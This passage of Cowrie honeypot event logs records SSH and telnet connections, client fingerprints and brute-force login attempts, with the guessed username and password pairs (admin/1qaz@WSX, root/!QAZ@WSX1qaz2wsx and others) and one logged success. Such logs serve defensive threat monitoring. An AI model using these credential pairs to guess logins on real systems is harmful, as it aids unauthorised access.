{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:34.655676Z","src_ip":"103.180.212.135","session":"de726d257b9b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:35.468990Z","src_ip":"103.180.212.135","session":"de726d257b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:35.667135Z","src_ip":"103.180.212.135","session":"4e33ad782654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:35.672021Z","src_ip":"103.180.212.135","session":"de726d257b9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45148,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e34cd304fca","protocol":"telnet","message":"New connection: 185.26.126.47:45148 (159.203.135.109:23) [session: 9e34cd304fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:36.703240Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37202,"dst_ip":"159.203.135.109","dst_port":22,"session":"1acc410f86b4","protocol":"ssh","message":"New connection: 159.203.92.129:37202 (159.203.135.109:22) [session: 1acc410f86b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:53.379400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:53.384119Z","src_ip":"159.203.92.129","session":"1acc410f86b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:53.388435Z","src_ip":"159.203.92.129","session":"1acc410f86b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andoh","password":"andoh","message":"login attempt [andoh/andoh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:53.400508Z","src_ip":"159.203.92.129","session":"1acc410f86b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:32:54.407006Z","src_ip":"159.203.92.129","session":"1acc410f86b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":57432,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce5a211cfabf","protocol":"ssh","message":"New connection: 165.154.5.173:57432 (10.17.0.5:22) [session: ce5a211cfabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:14.021593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:14.026485Z","src_ip":"165.154.5.173","session":"ce5a211cfabf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:14.242842Z","src_ip":"165.154.5.173","session":"ce5a211cfabf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:15.174574Z","src_ip":"165.154.5.173","session":"ce5a211cfabf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.51864194869995,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:15.221790Z","src_ip":"185.26.126.47","session":"9e34cd304fca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:16.395190Z","src_ip":"165.154.5.173","session":"ce5a211cfabf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":53068,"dst_ip":"159.203.135.109","dst_port":23,"session":"76503e01ce0c","protocol":"telnet","message":"New connection: 185.26.126.47:53068 (159.203.135.109:23) [session: 76503e01ce0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:21.192760Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":35144,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec6a6a1edf04","protocol":"ssh","message":"New connection: 103.180.212.135:35144 (159.203.135.109:22) [session: ec6a6a1edf04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:26.180629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:26.184714Z","src_ip":"103.180.212.135","session":"ec6a6a1edf04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:26.377505Z","src_ip":"103.180.212.135","session":"ec6a6a1edf04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.378332614898682,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:26.570942Z","src_ip":"185.26.126.47","session":"76503e01ce0c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0000","message":"login attempt [admin/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:27.182905Z","src_ip":"103.180.212.135","session":"ec6a6a1edf04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:28.378214Z","src_ip":"103.180.212.135","session":"ec6a6a1edf04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60746,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c012dc43f32","protocol":"ssh","message":"New connection: 159.203.92.129:60746 (159.203.135.109:22) [session: 0c012dc43f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:38.579590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:38.584134Z","src_ip":"159.203.92.129","session":"0c012dc43f32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:38.588804Z","src_ip":"159.203.92.129","session":"0c012dc43f32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andou","password":"123456","message":"login attempt [andou/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:38.604345Z","src_ip":"159.203.92.129","session":"0c012dc43f32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:33:39.620821Z","src_ip":"159.203.92.129","session":"0c012dc43f32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":58360,"dst_ip":"159.203.135.109","dst_port":23,"session":"55a16b820065","protocol":"telnet","message":"New connection: 185.26.126.47:58360 (159.203.135.109:23) [session: 55a16b820065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:02.153782Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":60066,"dst_ip":"10.17.0.5","dst_port":22,"session":"a010946567b8","protocol":"ssh","message":"New connection: 165.154.5.173:60066 (10.17.0.5:22) [session: a010946567b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:07.758836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:07.765356Z","src_ip":"165.154.5.173","session":"a010946567b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:07.984788Z","src_ip":"165.154.5.173","session":"a010946567b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ@WSX1qaz2wsx","message":"login attempt [root/!QAZ@WSX1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:08.895684Z","src_ip":"165.154.5.173","session":"a010946567b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:10.117924Z","src_ip":"165.154.5.173","session":"a010946567b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45430,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2997a1472c7","protocol":"telnet","message":"New connection: 185.26.126.47:45430 (159.203.135.109:23) [session: a2997a1472c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:21.238127Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":43914,"dst_ip":"159.203.135.109","dst_port":22,"session":"9622182eab34","protocol":"ssh","message":"New connection: 103.180.212.135:43914 (159.203.135.109:22) [session: 9622182eab34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:22.805053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:22.809950Z","src_ip":"103.180.212.135","session":"9622182eab34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:23.008693Z","src_ip":"103.180.212.135","session":"9622182eab34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55282,"dst_ip":"159.203.135.109","dst_port":22,"session":"2553757b7ff9","protocol":"ssh","message":"New connection: 159.203.92.129:55282 (159.203.135.109:22) [session: 2553757b7ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:23.410109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:23.414793Z","src_ip":"159.203.92.129","session":"2553757b7ff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","